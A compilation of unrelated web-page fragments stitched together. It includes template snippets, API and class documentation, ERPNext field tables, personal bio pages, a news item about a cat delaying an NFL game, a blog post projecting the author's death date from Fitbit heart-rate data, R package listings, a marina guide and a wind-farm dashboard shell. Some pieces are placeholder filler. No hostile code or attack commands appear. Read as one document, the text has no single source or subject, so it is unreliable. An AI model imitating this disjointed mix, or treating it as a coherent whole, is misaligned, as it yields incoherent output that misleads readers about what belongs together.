| Summary | Amount |
|---|---|
| {{ totalOrders }} Orders Placed | ${{ (totalOfOrders / 100).toFixed(2) }} |
| {{ details.payment_agg.payment_count }} Payments Received | ${{ (details.payment_agg.credit_amt / 100).toFixed(2) }} |
| PayPal Fees Paid | ${{ (details.fees.fees / 100).toFixed(2) }} |
| Current Balance | {{ curBal }} |


{% extends "_base.html" %} {% import "_formHelpers.html" as formhelper %} {% block content %}
Please fill out the details below and click the download button to start the file download.


This demo will enable the second ethernet port (eth1) and request an IP address. Please connect a cable to the J7 connector on the EVM-SK board rev 1.2A.
NOTE: Do not place both the ethernet ports on the same subnet, this connection method is not supported.


We sell content!
- generate best-of-breed partnerships
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- disintermediate holistic ROI
- harness leading-edge models
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- enhance vertical communities
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- incentivize scalable e-tailers
- seize real-time eyeballs
- envisioneer extensible applications
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All Classes
CommonUser
CRUDInterface
JFCommonPlayer
JFLogin
JFUsers
JFVIPPlayer
LoginException
MediaPlayer
Music
MusicDAO
Playlist
PlaylistDAO
RunGem
User
UserDAO
VIPUser


In robotics, inverse kinematics makes use of the kinematics equations to determine the joint parameters that provide a desired position for each of the robot's end-effectors. Specification of the movement of a robot so that its end-effectors achieve the desired tasks is known as motion planning. Inverse kinematics transforms the motion plan into joint actuator trajectories for the robot.
In short you can think about it this way, if we know the end position of the robot, we are also able to decide how the joints and links needs to be positioned in order for the manipulator to result in that end position.
An analytic solution to an inverse kinematics problem is a closed-form expression that takes the end-effector pose as input and gives joint positions as output, q=f(x). Analytical inverse kinematics solvers can be significantly faster than numerical solvers and provide more than one solution for a given end-effector pose.
It's important to see why we find multiple rotational and translational answers for one trajectory for the manipulator. You can imagine this for example, extend your arm to an object, now you have one way of manipulating your arm to that object. Now rotate your elbow by 90 degrees, and voila, you have now one more answer to the problem.
Here's an image showing 4 possible answers for a manipulator, knowing only the end-effector
Having multiple answers to one problem is very useful for robotics since we may need to eliminate some of the answers according to the obstacles or the terrain we are working on.


This class implements a manager which lists the different devices available on your computer and provides handles to them. More...
#include <CHapticDeviceHandler.h>
Public Member Functions | |
| cHapticDeviceHandler () | |
| Constructor of cHapticDeviceHandler. | |
| virtual | ~cHapticDeviceHandler () |
| Destructor of cHapticDeviceHandler. | |
| unsigned int | getNumDevices () |
| Returns the number of devices connected to your computer. | |
| void | update () |
| Updates information regarding the devices that are connected to your computer. | |
| int | getDeviceSpecifications (cHapticDeviceInfo &a_deviceSpecifications, unsigned int a_index=0) |
| Returns the specifications of the ith device. | |
| int | getDevice (cGenericHapticDevice *&a_hapticDevice, unsigned int a_index=0) |
| Returns a handle to the ith device if available. |
This class implements a manager which lists the different devices available on your computer and provides handles to them.
| int cHapticDeviceHandler::getDevice | ( | cGenericHapticDevice *& | a_hapticDevice, | |
| unsigned int | a_index = 0 | |||
| ) |
Returns a handle to the ith device if available.
Returns a handle to the ith device if available.
| a_hapticDevice | Handle to device | |
| a_index | Index number of the device. |
| int cHapticDeviceHandler::getDeviceSpecifications | ( | cHapticDeviceInfo & | a_deviceSpecifications, | |
| unsigned int | a_index = 0 | |||
| ) |
Returns the specifications of the ith device.
Returns the specifications of the ith device.
| a_deviceSpecifications | Returned result | |
| a_index | Index number of the device. |


| Version 1.0 |
9th Dec, 2019 |
- Header, buttons, and images are fixed.
- The Open Image button will open a resizable window of the current
record, which remains is sync with the records displayed on the main form.
- The Emblem drop-down menu show a small picture of the emblem.
- The Sequence ID and Primary Key fields are not editable, but the text
can be selected (to copy and paste).
- Gravesite number is mandatory for every record.
- For each decedent (Primary, Secondary, etc.), if any of the fields
are filled, then the Last Name field becomes a mandatory field.
- Short-cut keys to enter "ILLEGIBLE" or "UNKNOWN" in text-boxes.
|


Monday night Giants-Cowboys game delayed by black cat
EAST RUTHERFORD, New Jersey -- A black cat got the best of the Dallas Cowboys and New York Giants for a couple minutes Monday night.
The cat scampered on the field during a Giants drive in the second quarter and forced referee Clay Martin to delay the game for few minutes while workers at MetLife Stadium and couple of New Jersey State Troopers herded the feline toward the end zone away from the players.
The cat did not depart right away. There was a point where the animal was directed into the corner of the end zone and then sprinted across the end line to a camera platform.
For a second, the cat jumped on the platform in and then sprang out. It finished its run along the end line before running up the tunnel to the cheers of the big crowd.


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Configure > HTTP/1 Directives
This document describes the configuration directives for controlling the HTTP/1 protocol handler.
- Description:
-
Timeout for incoming requests in seconds.
- Level:
- global
- Default:
http1-request-timeout: 10
- Description:
-
Timeout for incoming request I/O in seconds.
- Level:
- global
- Default:
http1-request-io-timeout: 5
- Description:
-
Boolean flag (
ON
orOFF
) indicating whether or not to allow upgrade to HTTP/2. - Level:
- global
- Default:
http1-upgrade-to-http2: ON


Head Blacksmith Bolin:
You're confused! I teach Artisans, not Scavengers! If you want to be a
Scavenger
, speak with
Warehouse Chief Older
in the Warehouse.
Return


| Class and Description |
|---|
| DataTable
This is a Java class that is an implementation of dataTable of objects that uses a
List of Lists to store the cell data objects. |
| Loop |
| ModelTable |
| Pool
This class defines pools of multifidelities to be injected in deployment
of mograms based on a pool types.
|
| Response |
| Class and Description |
|---|
| FileURLHandler
Created by Mike Sobolewsko on 6/19/15 based on the DataService class
|
| Stopwatch
The Stopwatch class
|
| Class and Description |
|---|
| DataTable
This is a Java class that is an implementation of dataTable of objects that uses a
List of Lists to store the cell data objects. |
| Class and Description |
|---|
| DocumentDescriptor |
| Class and Description |
|---|
| ModelTable |
| Class and Description |
|---|
| FileURLHandler
Created by Mike Sobolewsko on 6/19/15 based on the DataService class
|
| Class and Description |
|---|
| Runner
Created by Mike Sobolewski on 9/27/14.
|
| Class and Description |
|---|
| DataTable
This is a Java class that is an implementation of dataTable of objects that uses a
List of Lists to store the cell data objects. |
| Class and Description |
|---|
| AccessorException |
| Class and Description |
|---|
| AccessorException |
| Class and Description |
|---|
| AccessorException |
| Class and Description |
|---|
| ClassLoaders.Callable |
| DataTable
This is a Java class that is an implementation of dataTable of objects that uses a
List of Lists to store the cell data objects. |
| DataTable.Cell |
| DataTable.LengthUnits |
| Document
Class that represents a document Object
|
| DocumentDescriptor |
| GenericUtil
SORCER generic utility class.
|
| IOUtils.FileCheck |
| Mandate |
| ModelTable |
| Pool
This class defines pools of multifidelities to be injected in deployment
of mograms based on a pool types.
|
| ProviderNameUtil |
| Result |
| ServiceAccessor
A service discovery and management utility allowing to access services by
matching service templates and passing filters provided by clients.
|
| SorcerEnv
The Sorcer utility class provides the global environment configuration for
the SORCER environment.
|
| SOS |


Table Name: tabSalary Structure
| Sr | Fieldname | Type | Label | Options |
|---|---|---|---|---|
| 1 | column_break0 |
Column Break | ||
| 2 | company |
Link | Company | Company |
| 3 | letter_head |
Link | Letter Head | Letter Head |
| 4 | column_break1 |
Column Break | ||
| 5 | is_active |
Select | Is Active |
Yes No |
| 6 | payroll_frequency |
Select | Payroll Frequency |
Monthly Fortnightly Bimonthly Weekly Daily |
| 7 | is_default |
Select | Is Default |
Yes No |
| 8 | employee_break |
Section Break | ||
| 9 | employees |
Table |
Employees
Select employees for current Salary Structure |
Salary Structure Employee |
| 10 | time_sheet_earning_detail |
Section Break | ||
| 11 | salary_slip_based_on_timesheet |
Check | Salary Slip Based on Timesheet | |
| 12 | column_break_17 |
Column Break | ||
| 13 | salary_component |
Link |
Salary Component
Salary Component for timesheet based payroll. |
Salary Component |
| 14 | hour_rate |
Currency | Hour Rate |
Company:company:default_currency |
| 15 | earning_deduction |
Section Break |
Salary breakup based on Earning and Deduction. |
|
| 16 | earning |
Section Break | Earning | |
| 17 | earnings |
Table | Earnings | Salary Detail |
| 18 | deduction |
Section Break | Deduction | |
| 19 | deductions |
Table | Deductions | Salary Detail |
| 20 | net_pay_detail |
Section Break |
Simple |
|
| 21 | column_break2 |
Column Break | ||
| 22 | total_earning |
Currency | Total Earning |
Company:company:default_currency |
| 23 | total_deduction |
Currency | Total Deduction |
Company:company:default_currency |
| 24 | net_pay |
Currency | Net Pay |
Company:company:default_currency |
| 25 | account |
Section Break | Account | |
| 26 | mode_of_payment |
Link | Mode of Payment | Mode of Payment |
| 27 | column_break_28 |
Column Break | ||
| 28 | payment_account |
Link | Payment Account | Account |
Inherits from frappe.model.document.Document
get_ss_values (self, employee)
No docs
strip_condition_and_formula_fields (self)
No docs
No docs
No docs
No docs
Public API
/api/method/erpnext.hr.doctype.salary_structure.salary_structure.get_employees
erpnext.hr.doctype.salary_structure.salary_structure.get_employees ()
No docs
Public API
/api/method/erpnext.hr.doctype.salary_structure.salary_structure.make_salary_slip
erpnext.hr.doctype.salary_structure.salary_structure.make_salary_slip (source_name, target_doc=None, employee=None, as_print=False, print_format=None)
No docs


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Hi everyone! My name is Alexander Schlesinger, but you can call me Alex.
I am a rising-Junior CS major with a concentration in Distributed Systems at Yeshiva University in NYC.
Outside of class, I enjoy playing sports (especially basketball, soccer, and table tennis), hanging out with family and friends, and continuously learning new things!
Current "Giving-Back" Goals
Relevant Work/Technical Experience
Skills/Knowledge
Help fellow students become financially literate
and aware of the impact of technology on the future
of personal finance and financial services
Founding President of YU Fintech Society
Founding President of YU Blockchain Society
Summer 2020 Global Markets Technology Intern at Nomura
Summer 2019 Software Engineer Intern at Cross River Bank
Understanding of "Banking as a Service"
Understanding of innovations in the Fintech space
Software Engineering
Public Speaking
Offer CS mentorship and support to younger students with reservations about "diving in"
and without childhood coding experience
Participation in Google's Software Product Sprint Spring 2020 session
Peer Tutor for Intro to CS
Coursework in:
Intro to CS
Data Structures
Algorithms
Design and Analysis of Algorithms
Comp Org and Assembly Language Programming
Operating Systems
etc.
Relatability via personal experience in the same position
Educate fellow students on the importance of and tactics in establishing a strong professional network
Various Internships, Campus Ambassadorships, and Exploratory Programs
Numerous conversations with professionals with varying backgrounds from a vast array of professional fields
LinkedIn networking and "cold-messaging"
Professional email etiquette
Establishing and maintaining valuable and informative conversations


It is an alley after all, a very long one. There must be somewhere I can hide.
Let me check, locked, locked, locked. Just my luck, all these doors are locked. Oh, an open area, let hide in here! Didn't see that coming. I landed in an empty, secluded, abandoned well. Who will fidn me now? At least it will not be the person behind the mysterioius sound.
Click here to start over.


Bradlee Speice, Wed 06 April 2016, Blog
If all we have is a finite number of heartbeats left, what about me?
Warning: this one is a bit creepier. But that's what you get when you come up with data science ideas as you're drifting off to sleep.
If PBS is right, that's the total number of heartbeats we get. Approximately once every second that number goes down, and down, and down again...
total_heartbeats =<PHONE_NUMBER>
I got a Fitbit this past Christmas season, mostly because I was interested in the data and trying to work on some data science projects with it. This is going to be the first project, but there will likely be more (and not nearly as morbid). My idea was: If this is the final number that I'm running up against, how far have I come, and how far am I likely to go? I've currently had about 3 months' time to estimate what my data will look like, so let's go ahead and see: given a lifetime 2.5 billion heart beats, how much time do I have left?
Since I'm starting to work with health data, there are a few considerations I think are important before I start digging through my data.
So while the ending number is not useful in any medical context, it is still an interesting project to work with the data I have on hand.
Fitbit has an API available for people to pull their personal data off the system. It requires registering an application, authentication with OAuth, and some other complicated things. If you're not interested in how I fetch the data, skip here.
I've already registered a personal application with Fitbit, so I can go ahead and retrieve things like the client secret from a file.
# Import all the OAuth secret information from a local file
from secrets import CLIENT_SECRET, CLIENT_ID, CALLBACK_URL
So, all the people that know what OAuth 2 is know what's coming next. For those who don't: OAuth is how people allow applications to access other data without having to know your password. Essentially the dialog goes like this:
Application: I've got a user here who wants to use my application, but I need their data.
Fitbit: OK, what data do you need access to, and for how long?
Application: I need all of these scopes, and for this amount of time.
Fitbit: OK, let me check with the user to make sure they really want to do this.
Fitbit: User, do you really want to let this application have your data?
User: I do! And to prove it, here's my password.
Fitbit: OK, everything checks out. I'll let the application access your data.
Fitbit: Application, you can access the user's data. Use this special value whenever you need to request data from me.
Application: Thank you, now give me all the data.
Effectively, this allows an application to gain access to a user's data without ever needing to know the user's password. That way, even if the other application is hacked, the user's original data remains safe. Plus, the user can let the data service know to stop providing the application access any time they want. All in all, very secure.
It does make handling small requests a bit challenging, but I'll go through the steps here. We'll be using the Implicit Grant workflow, as it requires fewer steps in processing.
First, we need to set up the URL the user would visit to authenticate:
import urllib
FITBIT_URI = 'https://www.fitbit.com/oauth2/authorize'
params = {
# If we need more than one scope, must be a CSV string
'scope': 'heartrate',
'response_type': 'token',
'expires_in': 86400, # 1 day
'redirect_uri': CALLBACK_URL,
'client_id': CLIENT_ID
}
request_url = FITBIT_URI + '?' + urllib.parse.urlencode(params)
Now, here you would print out the request URL, go visit it, and get the full URL that it sends you back to. Because that is very sensitive information (specifically containing my CLIENT_ID
that I'd really rather not share on the internet), I've skipped that step in the code here, but it happens in the background.
# The `response_url` variable contains the full URL that
# FitBit sent back to us, but most importantly,
# contains the token we need for authorization.
access_token = dict(urllib.parse.parse_qsl(response_url))['access_token']
Now that we've actually set up our access via the access_token
, it's time to get the actual heart rate data. I'll be using data from January 1, 2016 through March 31, 2016, and extrapolating wildly from that.
Fitbit only lets us fetch intraday data one day at a time, so I'll create a date range using pandas and iterate through that to pull down all the data.
from requests_oauthlib import OAuth2Session
import pandas as pd
from datetime import datetime
session = OAuth2Session(token={
'access_token': access_token,
'token_type': 'Bearer'
})
format_str = '%Y-%m-%d'
start_date = datetime(2016, 1, 1)
end_date = datetime(2016, 3, 31)
dr = pd.date_range(start_date, end_date)
url = 'https://api.fitbit.com/1/user/-/activities/heart/date/{0}/1d/1min.json'
hr_responses = [session.get(url.format(d.strftime(format_str))) for d in dr]
def record_to_df(record):
if 'activities-heart' not in record:
return None
date_str = record['activities-heart'][0]['dateTime']
df = pd.DataFrame(record['activities-heart-intraday']['dataset'])
df.index = df['time'].apply(
lambda x: datetime.strptime(date_str + ' ' + x, '%Y-%m-%d %H:%M:%S'))
return df
hr_dataframes = [record_to_df(record.json()) for record in hr_responses]
hr_df_concat = pd.concat(hr_dataframes)
# There are some minutes with missing data, so we need to correct that
full_daterange = pd.date_range(hr_df_concat.index[0],
hr_df_concat.index[-1],
freq='min')
hr_df_full = hr_df_concat.reindex(full_daterange, method='nearest')
print("Heartbeats from {} to {}: {}".format(hr_df_full.index[0],
hr_df_full.index[-1],
hr_df_full['value'].sum()))
And now we've retrieved all the available heart rate data for January 1st through March 31st! Let's get to the actual analysis.
A fundamental issue of this data is that it's pretty small. I'm using 3 months of data to make predictions about my entire life. But, purely as an exercise, I'll move forward.
The first step is figuring out how many of the 2.5 billion heartbeats I've used so far. We're going to try and work backward from the present day to when I was born to get that number. The easy part comes first: going back to January 1st, 1992. That's because I can generalize how many 3-month increments there were between now and then, account for leap years, and call that section done.
Between January 1992 and January 2016 there were 96 quarters, and 6 leap days. The number we're looking for is:
\begin{equation} hr_q \cdot n - hr_d \cdot (n-m) \end{equation}quarterly_count = hr_df_full['value'].sum()
leap_day_count = hr_df_full[(hr_df_full.index.month == 2) &
(hr_df_full.index.day == 29)]['value'].sum()
num_quarters = 96
leap_days = 6
jan_92_jan_16 = quarterly_count * num_quarters - leap_day_count * (num_quarters - leap_days)
jan_92_jan_16
So between January 1992 and January 2016 I've used $\approx$ 774 million heartbeats. Now, I need to go back to my exact birthday. I'm going to first find on average how many heartbeats I use in a minute, and multiply that by the number of minutes between my birthday and January 1992.
For privacy purposes I'll put the code here that I'm using, but without any identifying information:
minute_mean = hr_df_full['value'].mean()
# Don't you wish you knew?
# birthday_minutes = ???
birthday_heartbeats = birthday_minutes * minute_mean
heartbeats_until_2016 = int(birthday_heartbeats + jan_92_jan_16)
remaining_2016 = total_heartbeats - heartbeats_until_2016
print("Heartbeats so far: {}".format(heartbeats_until_2016))
print("Remaining heartbeats: {}".format(remaining_2016))
It would appear that my heart has beaten 775,804,660 times between my moment of birth and January 1st 2016, and that I have 1.72 billion left.
Now comes the tricky bit. I know how many heart beats I've used so far, and how many I have remaining, so I'd like to come up with a (relatively) accurate estimate of when exactly my heart should give out. We'll do this in a few steps, increasing in granularity.
First step, how many heartbeats do I use in a 4-year period? I have data for a single quarter including leap day, so I want to know:
\begin{equation} hr_q \cdot n - hr_d \cdot (n - m) \end{equation}heartbeats_4year = quarterly_count * 16 - leap_day_count * (16 - 1)
heartbeats_4year
Now, I can fast forward from 2016 the number of periods of 4 years I have left.
four_year_periods = remaining_2016 // heartbeats_4year
remaining_4y = remaining_2016 - four_year_periods * heartbeats_4year
print("Four year periods remaining: {}".format(four_year_periods))
print("Remaining heartbeats after 4 year periods: {}".format(remaining_4y))
Given that there are 13 four-year periods left, I can move from 2016 all the way to 2068, and find that I will have 48 million heart beats left. Let's drop down to figuring out how many quarters that is. I know that 2068 will have a leap day (unless someone finally decides to get rid of them), so I'll subtract that out first. Then, I'm left to figure out how many quarters exactly are left.
remaining_leap = remaining_4y - leap_day_count
# Ignore leap day in the data set
heartbeats_quarter = hr_df_full[(hr_df_full.index.month != 2) &
(hr_df_full.index.day != 29)]['value'].sum()
quarters_left = remaining_leap // heartbeats_quarter
remaining_year = remaining_leap - quarters_left * heartbeats_quarter
print("Quarters left starting 2068: {}".format(quarters_left))
print("Remaining heartbeats after that: {}".format(remaining_year))
So, that analysis gets me through until January 1st 2070. Final step, using that minute estimate to figure out how many minutes past that I'm predicted to have:
from datetime import timedelta
base = datetime(2070, 1, 1)
minutes_left = remaining_year // minute_mean
kaput = timedelta(minutes=minutes_left)
base + kaput
According to this, I've got until February 23rd, 2070 at 5:28 PM in the evening before my heart gives out.
Well, that's kind of a creepy date to know. As I said at the top though, this number is totally useless in any medical context. It ignores the rate at which we continue to get better at making people live longer, and is extrapolating from 3 months' worth of data the rest of my life. Additionally, throughout my time developing this post I made many minor mistakes. I think they're all fixed now, but it's easy to mix a number up here or there and the analysis gets thrown off by a couple years.
Even still, I think philosophically humans have a desire to know how much time we have left in the world. Man is but a breath, and it's scary to think just how quickly that date may be coming up. This analysis asks an important question though: what are you going to do with the time you have left?
Thanks for sticking with me on this one, I promise it will be much less depressing next time!


"How about a multi-step loan application for simplicity?"
"formControlName must be used with a parent formGroup directive."
A base class for directives that contain multiple registered instances of NgControl. Only used by the forms module.
A base class for directives that contain multiple registered instances of NgControl. Only used by the forms module.
Helps us get a reference to our FormGroupDirective from a child component.
Use the ControlContainer to give you access to your parent formGroup.
https://nookpos.web.app/NookPOS/
https://github.com/tehfedaykin/NookPOS
to Mat Warger for the API!
Slides available at: tehfedaykin.github.io/ControlContainer
Code here: https://github.com/tehfedaykin/NookPOS


Aspiring to Learn and Create
Hello, My name is AbdulRahman Abughazala. I am originally from Jeddah, Saudi Arabia. I have been studying in the united states since I was 10 years old, over the years I started to love technology, computers, and engineering. I go to school at California State University, Chico and I am on my way to becoming a mechatronic engineer. During my college experience I have made it my passion to cultivate my understand of machine and computers. I always thought the combination of both machine and computing was fascinating, eventually I would like to design my own production machines and robots. I strive to learn and better my self, whether it may be programming, machining, designing or alternative skills.
AbdulRahman Abughazala
Skills:
SOLIDWORKS
Microsoft Office Suite
Ladder
LabView
AutoDesk:Inventor
AutoDesk:Revit
C/C++
Welding
3D Printing
Embedded Systems
Motion/Machine Automation
Control System Design
Industrial Networking
Python
Manufacturing
Electronics
Languages: Fluent Arabic and English
Self-Taught Proficiency in assembling and maintaining computer systems
Self-Taught Proficiency assembling and maintaining 3D printers
These are some of my personal projects, school projects and team projects I have been a part of
Click the pictures for more!
I'd love your feedback!


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La Malpensatina is a 400-year old stone farmhouse located outside the hilltown of Radda in Chianti. The farmhouse has stunning views over the surrounding landscape, including its own vineyards and olive groves. The house is approximately one hour south of Florence and half an hour north of Siena, in the heart of Chianti.


Pet sitting in the comfort of their own home
Pet sitting for any type of pet
Dog walking
Home visits/Check in
Pet updates via Whatsapp availible on request so you can be sure your pet is happy
Professional service
Happy/Healthy pets
Affordable Prices
Peace of mind


R functions for analyzing spatial (cross-)covariance: the nonparametric (cross-)covariance function, the spline correlogram, the nonparametric phase coherence function, local indicators of spatial association (LISA), (Mantel) correlogram, (Partial) Mantel test.
| Version: | 1.2-6 |
| Depends: | R (≥ 2.8.0) |
| Published: | 2018-10-11 |
| Author: | Ottar N. Bjornstad [aut, cre], Jun Cai [ctb] |
| Maintainer: | Ottar N. Bjornstad <onb1 at psu.edu> |
| BugReports: | https://github.com/objornstad/ncf/issues |
| License: | GPL-3 |
| URL: | http://ento.psu.edu/directory/onb1 |
| NeedsCompilation: | no |
| In views: | Spatial |
| CRAN checks: | ncf results |
| Reference manual: | ncf.pdf |
| Package source: | ncf_1.2-6.tar.gz |
| Windows binaries: | r-devel: ncf_1.2-6.zip, r-release: ncf_1.2-6.zip, r-oldrel: ncf_1.2-6.zip |
| OS X binaries: | r-release: ncf_1.2-6.tgz, r-oldrel: ncf_1.2-6.tgz |
| Old sources: | ncf archive |
| Reverse suggests: | epimdr |
Please use the canonical form https://CRAN.R-project.org/package=ncf to link to this page.


UberChat is a protocol- and UI-neutral text chat client framework, with several protocol adapters (IRC, ICB, spacebar) and an available (but not necessary) Swing/AWT-based front-end. It is still very much a work in progress.
See a screenshot: PNG


Author #{{ author.id }}, with books and photos
- Name: {{ author.attributes.name }}
- Date of birth: {{ author.attributes.date_of_birth | date }}
- Date of dead: {{ author.attributes.date_of_death | date }}
Photos
This author don't have any photo :(
Books
Volver


Statement Resource#
- POST /v1/statement
- Query query
SQL Query to execute
- Reqheader X-Presto-User
User to execute statement on behalf of (optional)
- Reqheader X-Presto-Source
Source of query
- Reqheader X-Presto-Catalog
Catalog to execute query against
- Reqheader X-Presto-Schema
Schema to execute query against
Submits a statement to Presto for execution. The Presto client executes queries on behalf of a user against a catalog and a schema. When you run a query with the Presto CLI, it is calling out to the statement resource on the Presto coordinator.
The request to the statement resource is the SQL query to execute as a post along with the standard X-Presto-Catalog, X-Presto-Source, X-Presto-Schema, and X-Presto-User headers.
The response from the statement resource contains a query identifier which can be used to gather detailed information about a query. This initial response also includes information about the stages that have been created to execute this query on Presto workers. Every query has a root stage and the root stage is given a stage identifier of “0” as shown in the following example response.
This root stage aggregates the responses from other stages running on Presto workers and delivers them to the client via the Presto coordinator. When a client receives a response to this POST it will contain a “nextUri” property which directs the client to query this address for additional results from the query.
Example request:
POST /v1/statement HTTP/1.1 Host: localhost:8001 X-Presto-Catalog: jmx X-Presto-Source: presto-cli X-Presto-Schema: jmx User-Agent: StatementClient/0.55-SNAPSHOT X-Presto-User: tobrie1 Content-Length: 41 select name from "java.lang:type=runtime"
Example response:
HTTP/1.1 200 OK Content-Type: application/json X-Content-Type-Options: nosniff Transfer-Encoding: chunked { "id":"20140108_110629_00011_dk5x2", "infoUri":"http://localhost:8001/v1/query/20140108_110629_00011_dk5x2", "partialCancelUri":"http://<IP_ADDRESS>:8080/v1/stage/20140108_110629_00011_dk5x2.1", "nextUri":"http://localhost:8001/v1/statement/20140108_110629_00011_dk5x2/1", "columns": [ { "name":"name", "type":"varchar" } ], "stats": { "state":"RUNNING", "scheduled":false, "nodes":1, "totalSplits":0, "queuedSplits":0, "runningSplits":0, "completedSplits":0, "cpuTimeMillis":0, "wallTimeMillis":0, "processedRows":0, "processedBytes":0, "rootStage": { "stageId":"0", "state":"SCHEDULED", "done":false, "nodes":1, "totalSplits":0, "queuedSplits":0, "runningSplits":0, "completedSplits":0, "cpuTimeMillis":0, "wallTimeMillis":0, "processedRows":0, "processedBytes":0, "subStages": [ { "stageId":"1", "state":"SCHEDULED", "done":false, "nodes":1, "totalSplits":0, "queuedSplits":0, "runningSplits":0, "completedSplits":0, "cpuTimeMillis":0, "wallTimeMillis":0, "processedRows":0, "processedBytes":0, "subStages":[] } ] } } }
- GET /v1/statement/{queryId}/{token}
- Query queryId
The query identifier returned from the initial POST to /v1/statement
- Query token
The token returned from the initial POST to /v1/statement or from a previous call to this same call
When a Presto client submits a statement for execution, Presto creates a query and then it returns a nextUri to the client. This call corresponds to that nextUri call and can contain either a status update for a query in progress or it can deliver the final results to the client.
Example request:
GET /v1/statement/20140108_110629_00011_dk5x2/1 HTTP/1.1 Host: localhost:8001 User-Agent: StatementClient/0.55-SNAPSHOT
Example response:
HTTP/1.1 200 OK Content-Type: application/json X-Content-Type-Options: nosniff Vary: Accept-Encoding, User-Agent Transfer-Encoding: chunked 383 { "id":"20140108_110629_00011_dk5x2", "infoUri":"http://localhost:8001/v1/query/20140108_110629_00011_dk5x2", "columns": [ { "name":"name", "type":"varchar" } ], "data": [ ["4165@domU-12-31-39-0F-CC-72"] ], "stats": { "state":"FINISHED", "scheduled":true, "nodes":1, "totalSplits":2, "queuedSplits":0, "runningSplits":0, "completedSplits":2, "cpuTimeMillis":1, "wallTimeMillis":4, "processedRows":1, "processedBytes":27, "rootStage": { "stageId":"0", "state":"FINISHED", "done":true, "nodes":1, "totalSplits":1, "queuedSplits":0, "runningSplits":0, "completedSplits":1, "cpuTimeMillis":0, "wallTimeMillis":0, "processedRows":1, "processedBytes":32, "subStages": [ { "stageId":"1", "state":"FINISHED", "done":true, "nodes":1, "totalSplits":1, "queuedSplits":0, "runningSplits":0, "completedSplits":1, "cpuTimeMillis":0, "wallTimeMillis":4, "processedRows":1, "processedBytes":27, "subStages":[] } ] } } }
- DELETE /v1/statement/{queryId}/{token}
- Query queryId
The query identifier returned from the initial POST to /v1/statement
- Reqheader X-Presto-User
User to execute statement on behalf of (optional)
- Reqheader X-Presto-Source
Source of query
- Reqheader X-Presto-Catalog
Catalog to execute query against
- Reqheader X-Presto-Schema
Schema to execute query against


Cat Cay lies at the southern end of the Biminis. It is 50 nautical miles from Miami, 60 from Fort Lauderdale and 90 miles from West Palm Beach.
Cat Cay is a private island, owned by the members of the Cat Cay Yacht Club. The island was once a stronghold of notorious pirates like Henry Morgan and Blackbeard. It has changed hands many times over the years but today this tiny gem (just 2.25 x half a mile) welcomes visiting yachtsmen to their full service marina (stay limited to 24hrs)
Position 25° 33'28"N, 79° 16'43"W (marina entrance)
See main Bahamas Clearance page for information.
The Bahamian government maintains a Customs & Immigration office on Cat Cay, making the island an ideal port of entry. Officers are on duty from 9:00 AM to 5:00 PM seven days a week. However, overtime charges apply on Saturday, Sunday and Bahamian holidays and weekdays prior to and after normal hours of operation.
The marina makes a charge for yachts tying up for clearance, even for as little as one hour, unless they stay overnight in the marina.
Last updated January 2015.
The marina is on the Eastern, or Bahama Bank, side of the island and is accessible from the Florida Straits via Gun Cay cut. It offers excellent shelter.
Marina reservations may be made through the Cat Cay office on the island. Non-member yachtsmen are limited to a stay of 24hrs and no access to the island's beaches.
Last updated January 2015.


This website template has been designed by Free Website Templates for you, for free. You canreplace this text with your own.


ETYMOLOGY
"Boiler plate" originally referred to the maker's label used to identify the builder of steam boilers. In the field of printing, the term dates back to the early 1900s. From the 1890s onwards, printing plates of text for widespread reproduction such as advertisements or syndicated columns were cast or stamped in steel (instead of the much softer and less durable lead alloys used otherwise) ready for the printing press and distributed to newspapers around the United States. They came to be known as 'boilerplates'. Until the 1950s, thousands of newspapers received and used this kind of boilerplate from the nation's largest supplier, the Western Newspaper Union. Some companies also sent out press releases as boilerplate so that they had to be printed as written. The modern equivalent is the press release boilerplate, or "boiler," a paragraph or two that describes the company and its products.
BOILERPLATE LANGUAGE
In contractual law, the term "boilerplate language" describes the parts of a contract that are considered standard.
Boilerplate language may also exist in pre-created form letters on the Internet for such things as issues to be broached by a politician based on an issue ad, requests that a cable or satellite operator add a cable network to a system, pre-written complaints about a product that is opposed by groups that create such letters, or online petitions. The person requesting the action usually only needs to type or sign his or her name at the end of the pre-written greeting and body.
BOILERPLATE CODE
In computer programming, boilerplate is the sections of code that have to be included in many places with little or no alteration. Such boilerplate is particularly salient when the programmer must include a lot of code for minimal functionality. The need for boilerplate can be reduced through high-level mechanisms.
A related phenomenon, bookkeeping code, is code that is not part of the business logic but is interleaved with it in order to keep data structures updated or able to handle secondary aspects of the program.


Tools used:
For the design I decided to go with a clean modern feel that contained plenty of white space and used an appeasing color palette.
I added a "back to the top" link for ease of use and also the option for the user to load more articles for endless reading. There is a hover change on articles to provide visual feedback and useful information included like publication date and category to help the user visually filter articles they might be interested in.
The responsive grid adjusts the number of columns based on the size of the screen, while keeping the width of articles at a fixed width regardless of screen size. The rows of articles are cleared so that they are at a uniform height across the top edge.


Computes the generalized synthetic control estimator described in Powell (2017) <doi:10.7249/WR1142>. Provides both point estimates, and hypothesis testing.
| Version: | 1.0.0 |
| Depends: | R (≥ 2.10), Rcpp (≥ 0.12.18), nloptr, reshape2 |
| LinkingTo: | Rcpp, RcppArmadillo |
| Suggests: | knitr, rmarkdown, plm |
| Published: | 2018-10-28 |
| Author: | Philip Barrett |
| Maintainer: | Philip Barrett <pobarrett at gmail.com> |
| License: | GPL-2 |
| URL: | https://github.com/philipbarrett/pgsc |
| NeedsCompilation: | yes |
| Materials: | README NEWS |
| CRAN checks: | pgsc results |
| Reference manual: | pgsc.pdf |
| Vignettes: |
Estimating and testing Generalized Synthetic Control models with 'pgsc'. |
| Package source: | pgsc_1.0.0.tar.gz |
| Windows binaries: | r-devel: pgsc_1.0.0.zip, r-release: pgsc_1.0.0.zip, r-oldrel: pgsc_1.0.0.zip |
| OS X binaries: | r-release: pgsc_1.0.0.tgz, r-oldrel: pgsc_1.0.0.tgz |
Please use the canonical form https://CRAN.R-project.org/package=pgsc to link to this page.


Summary
Production
Availability
Production (kWh) - Last 24 Hours
Availability (%) - Last 12 Months
Cumulative Production (GWh) - Month to Date
Lost Energy (GWh) - Last 12 Months
No. of Sites
0
No. of Turbines
0
Total Max. Capacity
0
Currently Down
0
Down More Than 2 Days
0
Performance vs Budget
0%
Achievement vs Annual Budget
0%
Production (GWh) - Last 12 Months
click on each series to view the drilldown
PLF (%) Comparison for all Projects - Last 12 Months
Windiness (m/s) - Last 12 Months
Production (GWh) - Current Year & Last Year
Summary Data for Last 12 Months
Production
Last Week
MTD
YTD
Lost Energy (MWh) by Down Time Type - Last 12 Months
click on each series to view the drilldown
Lost Energy (MWh) - Last 12 Months
click on each series to view the drilldown
